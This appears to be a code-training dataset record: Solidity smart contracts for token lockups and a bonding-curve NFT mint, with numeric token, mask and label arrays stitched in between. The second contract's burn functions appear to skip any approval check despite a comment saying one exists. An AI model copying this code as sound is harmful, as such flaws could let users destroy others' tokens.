for (uint256 i = 0; i < _userAddresses.length; i++) {
_addLockUpByName(_userAddresses[i], _lockupNames[i]);
}
}
/**
* @notice Lets the admin create a volume restriction lockup for a given address.
* @param _userAddress Address of the user whose tokens should be locked up
* @param _lockupAmount Amount of tokens that need to lock.
* @param _startTime When this lockup starts (seconds)
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
* @param _lockupName Name of the lockup
*/
function addNewLockUpToUser(
address _userAddress,
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
external
withPerm(ADMIN)
{
_addNewLockUpToUser(
_userAddress,
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
/**
* @notice Lets the admin create multiple volume restriction lockups for multiple given addresses.
* @param _userAddresses Array of address of the user whose tokens should be locked up
* @param _lockupAmounts Array of the amounts that need to be locked for the different addresses.
* @param _startTimes Array of When this lockup starts (seconds)
* @param _lockUpPeriodsSeconds Array of total periods of lockup (seconds)
* @param _releaseFrequenciesSeconds Array of how often to release a tranche of tokens (seconds)
* @param _lockupNames Array of names of the lockup
*/
function addNewLockUpToUserMulti(
address[] _userAddresses,
uint256[] _lockupAmounts,
uint256[] _startTimes,
uint256[] _lockUpPeriodsSeconds,
uint256[] _releaseFrequenciesSeconds,
bytes32[] _lockupNames
)
public
withPerm(ADMIN)
{
require(
_userAddresses.length == _lockUpPeriodsSeconds.length && /*solium-disable-line operator-whitespace*/
_userAddresses.length == _releaseFrequenciesSeconds.length && /*solium-disable-line operator-whitespace*/
_userAddresses.length == _startTimes.length && /*solium-disable-line operator-whitespace*/
_userAddresses.length == _lockupAmounts.length &&
_userAddresses.length == _lockupNames.length,
"Input array length mismatch"
);
for (uint256 i = 0; i < _userAddresses.length; i++) {
_addNewLockUpToUser(_userAddresses[i], _lockupAmounts[i], _startTimes[i], _lockUpPeriodsSeconds[i], _releaseFrequenciesSeconds[i], _lockupNames[i]);
}
}
/**
* @notice Lets the admin remove a user's lock up
* @param _userAddress Address of the user whose tokens are locked up
* @param _lockupName Name of the lockup need to be removed.
*/
function removeLockUpFromUser(address _userAddress, bytes32 _lockupName) external withPerm(ADMIN) {
_removeLockUpFromUser(_userAddress, _lockupName);
}
/**
* @notice Used to remove the lockup type
* @param _lockupName Name of the lockup
*/
function removeLockupType(bytes32 _lockupName) external withPerm(ADMIN) {
_removeLockupType(_lockupName);
}
/**
* @notice Used to remove the multiple lockup type
* @param _lockupNames Array of the lockup names.
*/
function removeLockupTypeMulti(bytes32[] _lockupNames) external withPerm(ADMIN) {
for (uint256 i = 0; i < _lockupNames.length; i++) {
_removeLockupType(_lockupNames[i]);
}
}
/**
* @notice Use to remove the lockup for multiple users
* @param _userAddresses Array of addresses of the user whose tokens are locked up
* @param _lockupNames Array of the names of the lockup that needs to be removed.
*/
function removeLockUpFromUserMulti(address[] _userAddresses, bytes32[] _lockupNames) external withPerm(ADMIN) {
require(_userAddresses.length == _lockupNames.length, "Array length mismatch");
for (uint256 i = 0; i < _userAddresses.length; i++) {
_removeLockUpFromUser(_userAddresses[i], _lockupNames[i]);
}
}
/**
* @notice Lets the admin modify a lockup.
* @param _lockupAmount Amount of tokens that needs to be locked
* @param _startTime When this lockup starts (seconds)
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
* @param _lockupName name of the lockup that needs to be modified.
*/
function modifyLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
external
withPerm(ADMIN)
{
_modifyLockUpType(
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
/**
* @notice Lets the admin modify a volume restriction lockup for a multiple address.
* @param _lockupAmounts Array of the amount of tokens that needs to be locked for the respective addresses.
* @param _startTimes Array of the start time of the lockups (seconds)
* @param _lockUpPeriodsSeconds Array of unix timestamp for the list of lockups (seconds).
* @param _releaseFrequenciesSeconds How often to release a tranche of tokens (seconds)
* @param _lockupNames Array of the lockup names that needs to be modified
*/
function modifyLockUpTypeMulti(
uint256[] _lockupAmounts,
uint256[] _startTimes,
uint256[] _lockUpPeriodsSeconds,
uint256[] _releaseFrequenciesSeconds,
bytes32[] _lockupNames
)
public
withPerm(ADMIN)
{
require(
_lockupNames.length == _lockUpPeriodsSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _releaseFrequenciesSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _startTimes.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _lockupAmounts.length,
"Input array length mismatch"
);
for (uint256 i = 0; i < _lockupNames.length; i++) {
_modifyLockUpType(
_lockupAmounts[i],
_startTimes[i],
_lockUpPeriodsSeconds[i],
_releaseFrequenciesSeconds[i],
_lockupNames[i]
);
}
}
/**
* @notice Get a specific element in a user's lockups array given the user's address and the element index
* @param _lockupName The name of the lockup
*/
function getLockUp(bytes32 _lockupName) public view returns (
uint256 lockupAmount,
uint256 startTime,
uint256 lockUpPeriodSeconds,
uint256 releaseFrequencySeconds,
uint256 unlockedAmount
) {
if (lockups[_lockupName].lockupAmount != 0) {
return (
lockups[_lockupName].lockupAmount,
lockups[_lockupName].startTime,
lockups[_lockupName].lockUpPeriodSeconds,
lockups[_lockupName].releaseFrequencySeconds,
_getUnlockedAmountForLockup(_lockupName)
);
}
return (uint256(0), uint256(0), uint256(0), uint256(0), uint256(0));
}
/**
* @notice get the list of the users of a lockup type
* @param _lockupName Name of the lockup type
* @return address List of users associated with the blacklist
*/
function getListOfAddresses(bytes32 _lockupName) external view returns(address[]) {
require(lockups[_lockupName].startTime != 0, "Blacklist type doesn't exist");
return lockupToUsers[_lockupName];
}
/**
* @notice get the list of lockups names
* @return bytes32 Array of lockups names
*/
function getAllLockups() external view returns(bytes32[]) {
return lockupArray;
}
/**
* @notice Return the data of the lockups
*/
function getAllLockupData() external view returns(
bytes32[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory
)
{
uint256[] memory lockupAmounts = new uint256[](lockupArray.length);
uint256[] memory startTimes = new uint256[](lockupArray.length);
uint256[] memory lockUpPeriodSeconds = new uint256[](lockupArray.length);
uint256[] memory releaseFrequencySeconds = new uint256[](lockupArray.length);
uint256[] memory unlockedAmounts = new uint256[](lockupArray.length);
for (uint256 i = 0; i < lockupArray.length; i++) {
(lockupAmounts[i], startTimes[i], lockUpPeriodSeconds[i], releaseFrequencySeconds[i], unlockedAmounts[i]) = getLockUp(lockupArray[i]);
}
return (
lockupArray,
lockupAmounts,
startTimes,
lockUpPeriodSeconds,
releaseFrequencySeconds,
unlockedAmounts
);
}
/**
* @notice get the list of the lockups for a given user
* @param _user Address of the user
* @return bytes32 List of lockups names associated with the given address
*/
function getLockupsNamesToUser(address _user) external view returns(bytes32[]) {
return userToLockups[_user];
}
/**
* @notice Use to get the total locked tokens for a given user
* @param _userAddress Address of the user
* @return uint256 Total locked tokens amount
*/
function getLockedTokenToUser(address _userAddress) public view returns(uint256) {
require(_userAddress != address(0), "Invalid address");
bytes32[] memory userLockupNames = userToLockups[_userAddress];
uint256 totalRemainingLockedAmount = 0;
for (uint256 i = 0; i < userLockupNames.length; i++) {
// Find out the remaining locked amount for a given lockup
uint256 remainingLockedAmount = lockups[userLockupNames[i]].lockupAmount.sub(_getUnlockedAmountForLockup(userLockupNames[i]));
// aggregating all the remaining locked amount for all the lockups for a given address
totalRemainingLockedAmount = totalRemainingLockedAmount.add(remainingLockedAmount);
}
return totalRemainingLockedAmount;
}
/**
* @notice Checks whether the transfer is allowed
* @param _userAddress Address of the user whose lock ups should be checked
* @param _amount Amount of tokens that need to transact
*/
function _checkIfValidTransfer(address _userAddress, uint256 _amount) internal view returns (Result) {
uint256 totalRemainingLockedAmount = getLockedTokenToUser(_userAddress);
// Present balance of the user
uint256 currentBalance = ISecurityToken(securityToken).balanceOf(_userAddress);
if ((currentBalance.sub(_amount)) >= totalRemainingLockedAmount) {
return Result.NA;
}
return Result.INVALID;
}
/**
* @notice Provide the unlock amount for the given lockup for a particular user
*/
function _getUnlockedAmountForLockup(bytes32 _lockupName) internal view returns (uint256) {
/*solium-disable-next-line security/no-block-members*/
if (lockups[_lockupName].startTime > now) {
return 0;
} else if (lockups[_lockupName].startTime.add(lockups[_lockupName].lockUpPeriodSeconds) <= now) {
return lockups[_lockupName].lockupAmount;
} else {
// Calculate the no. of periods for a lockup
uint256 noOfPeriods = (lockups[_lockupName].lockUpPeriodSeconds).div(lockups[_lockupName].releaseFrequencySeconds);
// Calculate the transaction time lies in which period
/*solium-disable-next-line security/no-block-members*/
uint256 elapsedPeriod = (now.sub(lockups[_lockupName].startTime)).div(lockups[_lockupName].releaseFrequencySeconds);
// Find out the unlocked amount for a given lockup
uint256 unLockedAmount = (lockups[_lockupName].lockupAmount.mul(elapsedPeriod)).div(noOfPeriods);
return unLockedAmount;
}
}
function _removeLockupType(bytes32 _lockupName) internal {
require(lockups[_lockupName].startTime != 0, "Lockup type doesn’t exist");
require(lockupToUsers[_lockupName].length == 0, "Users are associated with the lockup");
// delete lockup type
delete(lockups[_lockupName]);
uint256 i = 0;
for (i = 0; i < lockupArray.length; i++) {
if (lockupArray[i] == _lockupName) {
break;
}
}
if (i != lockupArray.length -1) {
lockupArray[i] = lockupArray[lockupArray.length -1];
}
lockupArray.length--;
emit RemoveLockUpType(_lockupName);
}
function _modifyLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
internal
{
/*solium-disable-next-line security/no-block-members*/
uint256 startTime = _startTime;
if (_startTime == 0) {
startTime = now;
}
require(startTime >= now, "Invalid start time");
require(lockups[_lockupName].lockupAmount != 0, "Doesn't exist");
_checkLockUpParams(
_lockupAmount,
_lockUpPeriodSeconds,
_releaseFrequencySeconds
);
lockups[_lockupName] = LockUp(
_lockupAmount,
startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds
);
emit ModifyLockUpType(
_lockupAmount,
startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
function _removeLockUpFromUser(address _userAddress, bytes32 _lockupName) internal {
require(_userAddress != address(0), "Invalid address");
require(_lockupName != bytes32(0), "Invalid lockup name");
require(
userToLockups[_userAddress][userToLockupIndex[_userAddress][_lockupName]] == _lockupName,
"User not assosicated with given lockup"
);
// delete the user from the lockup type
uint256 _lockupIndex = lockupToUserIndex[_lockupName][_userAddress];
uint256 _len = lockupToUsers[_lockupName].length;
if ( _lockupIndex != _len) {
lockupToUsers[_lockupName][_lockupIndex] = lockupToUsers[_lockupName][_len - 1];
lockupToUserIndex[_lockupName][lockupToUsers[_lockupName][_lockupIndex]] = _lockupIndex;
}
lockupToUsers[_lockupName].length--;
// delete the user index from the lockup
delete(lockupToUserIndex[_lockupName][_userAddress]);
// delete the lockup from the user
uint256 _userIndex = userToLockupIndex[_userAddress][_lockupName];
_len = userToLockups[_userAddress].length;
if ( _userIndex != _len) {
userToLockups[_userAddress][_userIndex] = userToLockups[_userAddress][_len - 1];
userToLockupIndex[_userAddress][userToLockups[_userAddress][_userIndex]] = _userIndex;
}
userToLockups[_userAddress].length--;
// delete the lockup index from the user
delete(userToLockupIndex[_userAddress][_lockupName]);
emit RemoveLockUpFromUser(_userAddress, _lockupName);
}
function _addNewLockUpToUser(
address _userAddress,
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
internal
{
require(_userAddress != address(0), "Invalid address");
_addNewLockUpType(
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
_addLockUpByName(_userAddress, _lockupName);
}
function _addLockUpByName(
address _userAddress,
bytes32 _lockupName
)
internal
{
require(_userAddress != address(0), "Invalid address");
require(lockups[_lockupName].startTime >= now, "Lockup expired");
userToLockupIndex[_userAddress][_lockupName] = userToLockups[_userAddress].length;
lockupToUserIndex[_lockupName][_userAddress] = lockupToUsers[_lockupName].length;
userToLockups[_userAddress].push(_lockupName);
lockupToUsers[_lockupName].push(_userAddress);
emit AddLockUpToUser(_userAddress, _lockupName);
}
function _addNewLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
internal
{
uint256 startTime = _startTime;
require(_lockupName != bytes32(0), "Invalid name");
require(lockups[_lockupName].lockupAmount == 0, "Already exist");
/*solium-disable-next-line security/no-block-members*/
if (_startTime == 0) {
startTime = now;
}
require(startTime >= now, "Invalid start time");
_checkLockUpParams(_lockupAmount, _lockUpPeriodSeconds, _releaseFrequencySeconds);
lockups[_lockupName] = LockUp(_lockupAmount, startTime, _lockUpPeriodSeconds, _releaseFrequencySeconds);
lockupArray.push(_lockupName);
emit AddNewLockUpType(_lockupName, _lockupAmount, startTime, _lockUpPeriodSeconds, _releaseFrequencySeconds);
}
/**
* @notice Parameter checking function for creating or editing a lockup.
* This function will cause an exception if any of the parameters are bad.
* @param _lockupAmount Amount that needs to be locked
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
*/
function _checkLockUpParams(
uint256 _lockupAmount,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds
)
internal
pure
{
require(_lockUpPeriodSeconds != 0, "lockUpPeriodSeconds cannot be zero");
require(_releaseFrequencySeconds != 0, "releaseFrequencySeconds cannot be zero");
require(_lockupAmount != 0, "lockupAmount cannot be zero");
}
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() public pure returns (bytes4) {
return bytes4(0);
}
/**
* @notice Returns the permissions flag that are associated with Percentage transfer Manager
*/
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](1);
allPermissions[0] = ADMIN;
return allPermissions;
}
}
| * @notice get the list of lockups names @return bytes32 Array of lockups names/ | function getAllLockups() external view returns(bytes32[]) {
return lockupArray;
}
| 1,084,384 | [
1,
588,
326,
666,
434,
2176,
18294,
1257,
327,
1731,
1578,
1510,
434,
2176,
18294,
1257,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5514,
2531,
18294,
1435,
3903,
1476,
1135,
12,
3890,
1578,
63,
5717,
288,
203,
3639,
327,
2176,
416,
1076,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "./utils/OwnableUpgradeable.sol";
import "./math-utils/interfaces/IAnalyticMath.sol";
/**
* @dev thePASS Bonding Curve - minting NFT through erc20 or eth
* PASS is orgnization's erc1155 token on curve
* erc20 or eth is collateral token on curve
* Users can mint PASS via deposting erc20 collateral token into curve
* thePASS Bonding Curve Formula: f(X) = m*(x^N)+v
* f(x) = PASS Price when total supply of PASS is x
* m, slope of bonding curve
* x = total supply of PASS
* N = n/d, represented by intPower when N is integer
* v = virtual balance, Displacement of bonding curve
*/
contract Curve is
Initializable,
OwnableUpgradeable,
ERC1155BurnableUpgradeable
{
using CountersUpgradeable for CountersUpgradeable.Counter;
using SafeERC20Upgradeable for IERC20Upgradeable;
IAnalyticMath public constant ANALYTICMATH =
IAnalyticMath(0x6F1bB529BEd91cD7f75b14d68933AeC9d71eb723); // Mathmatical method for calculating power function
string public name; // Contract name
string public symbol; // Contract symbol
string public baseUri;
// token id counter. For erc721 contract, PASS serial number = token id
CountersUpgradeable.Counter private tokenIdTracker;
uint256 public totalSupply; // total supply of erc1155 tokens
IERC20Upgradeable public erc20; // collateral token on bonding curve
uint256 public m; // slope of bonding curve
uint256 public n; // numerator of exponent in curve power function
uint256 public d; // denominator of exponent in curve power function
uint256 public intPower; // when n/d is integer
uint256 public virtualBalance; // vitual balance for setting a reasonable initial price
mapping(uint256 => uint256) public decPowerCache; // cache of power function calculation result when exponent is decimal,n => cost
uint256 public reserve; // reserve of collateral tokens stored in bonding curve AMM pool
address payable public platform; // thePass platform's commission account
uint256 public platformRate; // thePass platform's commission rate in pph
address payable public receivingAddress; // receivingAddress's commission account
uint256 public creatorRate; // receivingAddress's commission rate in pph
event Minted(
uint256 indexed tokenId,
uint256 indexed cost,
uint256 indexed reserveAfterMint,
uint256 balance,
uint256 platformProfit,
uint256 creatorProfit
);
event Burned(
address indexed account,
uint256 indexed tokenId,
uint256 balance,
uint256 returnAmount,
uint256 reserveAfterBurn
);
event BatchBurned(
address indexed account,
uint256[] tokenIds,
uint256[] balances,
uint256 returnAmount,
uint256 reserveAfterBurn
);
event Withdraw(address indexed to, uint256 amount);
/**
* @dev constrcutor of bonding curve with formular: f(x)=m*(x^N)+v
* _erc20: collateral token(erc20) for miniting PASS on bonding curve, send 0x000...000 to appoint it as eth instead of erc20 token
* _initMintPrice: f(1) = m + v, the first PASS minting price
* _m: m, slope of curve
* _virtualBalance: v = f(1) - _m, virtual balance, displacement of curve
* _n,_d: _n/_d = N, exponent of the curve
* reserve: reserve of collateral tokens stored in bonding curve AMM pool, start with 0
*/
function initialize(
string[] memory infos, //[0]: _name,[1]: _symbol,[2]: _baseUri
address[] memory addrs, //[0] _platform, [1]: _receivingAddress, [2]: _erc20 [3]: _timelock
uint256[] memory parms //[0]_platformRate, [1]: _creatorRate, [2]: _initMintPrice, [3]: _m, [4]: _n, [5]: _d
) public virtual initializer {
__Ownable_init(addrs[3]);
__ERC1155_init(infos[2]);
__ERC1155Burnable_init();
tokenIdTracker = CountersUpgradeable.Counter({_value: 1});
_setBasicInfo(infos[0], infos[1], infos[2], addrs[2]);
_setFeeParameters(
payable(addrs[0]),
parms[0],
payable(addrs[1]),
parms[1]
);
_setCurveParms(parms[2], parms[3], parms[4], parms[5]);
}
// @receivingAddress commission account and rate initilization
function _setFeeParameters(
address payable _platform,
uint256 _platformRate,
address payable _receivingAddress,
uint256 _createRate
) internal {
require(_platform != address(0), "Curve: platform address is zero");
require(
_receivingAddress != address(0),
"Curve: receivingAddress address is zero"
);
platform = _platform;
platformRate = _platformRate;
receivingAddress = _receivingAddress;
creatorRate = _createRate;
}
// only contract admin can change beneficiary account
function changeBeneficiary(address payable _newAddress) public onlyOwner {
require(_newAddress != address(0), "Curve: new address is zero");
receivingAddress = _newAddress;
}
/**
* @dev each PASS minting transaction by depositing collateral erc20 tokens will create a new erc1155 token id sequentially
* _balance: number of PASSes user want to mint
* _amount: the maximum deposited amount set by the user
* _maxPriceFistNFT: the maximum price for the first mintable PASS to prevent front-running with least gas consumption
* return: token id
*/
function mint(
uint256 _balance,
uint256 _amount,
uint256 _maxPriceFirstPASS
) public returns (uint256) {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
uint256 firstPrice = caculateCurrentCostToMint(1);
require(
_maxPriceFirstPASS >= firstPrice,
"Curve: price exceeds slippage tolerance."
);
return _mint(_balance, _amount, false);
}
// for small amount of PASS minting, it will be unceessary to check the maximum price for the fist mintable PASS
function mint(uint256 _balance, uint256 _amount) public returns (uint256) {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
return _mint(_balance, _amount, false);
}
/**
* @dev user burn PASS/PASSes to receive corresponding collateral tokens
* _tokenId: the token id of PASS/PASSes to burn
* _balance: the number of PASS/PASSes to burn
*/
function burn(
address _account,
uint256 _tokenId,
uint256 _balance
) public override {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
// checks if allowed to burn
super._burn(_account, _tokenId, _balance);
uint256 burnReturn = getCurrentReturnToBurn(_balance);
totalSupply -= _balance;
reserve = reserve - burnReturn;
erc20.safeTransfer(_account, burnReturn);
emit Burned(_account, _tokenId, _balance, burnReturn, reserve);
}
// allow user to burn batches of PASSes with a set of token id
function burnBatch(
address _account,
uint256[] memory _tokenIds,
uint256[] memory _balances
) public override {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
// checks if allowed to burn
super._burnBatch(_account, _tokenIds, _balances);
uint256 totalBalance;
for (uint256 i = 0; i < _balances.length; i++) {
totalBalance += _balances[i];
}
uint256 burnReturn = getCurrentReturnToBurn(totalBalance);
reserve = reserve - burnReturn;
totalSupply = totalSupply - totalBalance;
erc20.safeTransfer(_account, burnReturn);
emit BatchBurned(_account, _tokenIds, _balances, burnReturn, reserve);
}
/**
* @dev each PASS minting transaction by depositing ETHs will create a new erc1155 token id sequentially
* _balance: number of PASSes user want to mint
* _maxPriceFirstPASS: the maximum price for the first mintable PASS to prevent front-running with least gas consumption
* return: token ID
*/
function mintEth(uint256 _balance, uint256 _maxPriceFirstPASS)
public
payable
returns (uint256)
{
require(
address(erc20) == address(0),
"Curve: erc20 address is NOT null."
);
uint256 firstPrice = caculateCurrentCostToMint(1);
require(
_maxPriceFirstPASS >= firstPrice,
"Curve: price exceeds slippage tolerance."
);
return _mint(_balance, msg.value, true);
}
function mintEth(uint256 _balance) public payable returns (uint256) {
require(
address(erc20) == address(0),
"Curve: erc20 address is NOT null."
);
return _mint(_balance, msg.value, true);
}
/**
* @dev user burn PASS/PASSes to receive corresponding ETHs
* _tokenId: the token id of PASS/PASSes to burn
* _balance: the number of PASS/PASSes to burn
*/
function burnEth(
address _account,
uint256 _tokenId,
uint256 _balance
) public {
require(
address(erc20) == address(0),
"Curve: erc20 address is NOT null."
);
super._burn(_account, _tokenId, _balance);
uint256 burnReturn = getCurrentReturnToBurn(_balance);
totalSupply -= _balance;
reserve = reserve - burnReturn;
payable(_account).transfer(burnReturn);
emit Burned(_account, _tokenId, _balance, burnReturn, reserve);
}
// allow user to burn batches of PASSes with a set of token id
function burnBatchETH(
address _account,
uint256[] memory _tokenIds,
uint256[] memory _balances
) public {
require(address(erc20) == address(0), "Curve: erc20 address is null.");
super._burnBatch(_account, _tokenIds, _balances);
uint256 totalBalance;
for (uint256 i = 0; i < _balances.length; i++) {
totalBalance += _balances[i];
}
uint256 burnReturn = getCurrentReturnToBurn(totalBalance);
reserve = reserve - burnReturn;
totalSupply = totalSupply - totalBalance;
payable(_account).transfer(burnReturn);
emit BatchBurned(_account, _tokenIds, _balances, burnReturn, reserve);
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
return string(abi.encodePacked(baseUri, toString(_tokenId)));
}
// get current supply of PASS
function getCurrentSupply() public view returns (uint256) {
return totalSupply;
}
// internal function to mint PASS
function _mint(
uint256 _balance,
uint256 _amount,
bool bETH
) private returns (uint256 tokenId) {
uint256 mintCost = caculateCurrentCostToMint(_balance);
require(_amount >= mintCost, "Curve: not enough token sent");
address account = _msgSender();
uint256 platformProfit = (mintCost * platformRate) / 100;
uint256 creatorProfit = (mintCost * creatorRate) / 100;
tokenId = tokenIdTracker.current(); // accumulate the token id
tokenIdTracker.increment(); // automate token id increment
totalSupply += _balance;
_mint(account, tokenId, _balance, "");
uint256 reserveCut = mintCost - platformProfit - creatorProfit;
reserve = reserve + reserveCut;
if (bETH) {
// return overcharge eth
if (_amount - (mintCost) > 0) {
payable(account).transfer(_amount - (mintCost));
}
if (platformRate > 0) {
platform.transfer(platformProfit);
}
} else {
erc20.safeTransferFrom(account, address(this), mintCost);
if (platformRate > 0) {
erc20.safeTransfer(platform, platformProfit);
}
}
emit Minted(
tokenId,
mintCost,
reserve,
_balance,
platformProfit,
creatorProfit
);
return tokenId; // returns tokenId in case its useful to check it
}
function _getEthBalance() internal view returns (uint256) {
return address(this).balance;
}
function _getErc20Balance() internal view returns (uint256) {
return IERC20Upgradeable(erc20).balanceOf(address(this));
}
/**
* @dev internal function to calculate the cost of minting _balance PASSes in a transaction
* _balance: number of PASS/PASSes to mint
*/
function caculateCurrentCostToMint(uint256 _balance)
internal
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * intervalSum + (virtualBalance * _balance);
} else {
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
} else {
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
if (decPowerCache[i] == 0) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + cost;
decPowerCache[i] = cost;
} else {
totalCost = totalCost + decPowerCache[i];
}
}
}
return totalCost;
}
// external view function to query the current cost to mint a PASS/PASSes
function getCurrentCostToMint(uint256 _balance)
public
view
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * (intervalSum) + (virtualBalance * _balance);
} else {
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
} else {
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + (cost);
}
}
return totalCost;
}
/**
* @dev calculate the return of burning _balance PASSes in a transaction
* _balance: number of PASS/PASSes to be burned
*/
function getCurrentReturnToBurn(uint256 _balance)
public
view
returns (uint256)
{
uint256 curEndX = getCurrentSupply();
_balance = _balance > curEndX ? curEndX : _balance;
uint256 totalReturn;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curEndX - _balance + 1,
curEndX
);
